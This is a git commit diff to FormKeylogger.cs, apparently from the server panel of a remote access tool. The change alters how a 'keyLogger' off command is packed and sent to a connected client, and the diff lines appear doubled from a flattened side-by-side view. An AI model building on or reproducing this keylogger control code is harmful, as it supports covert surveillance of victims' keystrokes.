Update FormKeylogger.cs

This commit is contained in:
NYAN CAT 2019-12-14 19:03:38 +03:00
parent 3777466ff5
commit ea18dee01f

View File

@ -39,13 +39,13 @@ namespace Server.Forms
Sb?.Clear(); Sb?.Clear();
if (Client != null) if (Client != null)
{ {
new Thread(() => ThreadPool.QueueUserWorkItem((o) =>
{ {
MsgPack msgpack = new MsgPack(); MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "keyLogger"; msgpack.ForcePathObject("Packet").AsString = "keyLogger";
msgpack.ForcePathObject("isON").AsString = "false"; msgpack.ForcePathObject("isON").AsString = "false";
ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes()); ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes());
}).Start(); });
} }
} }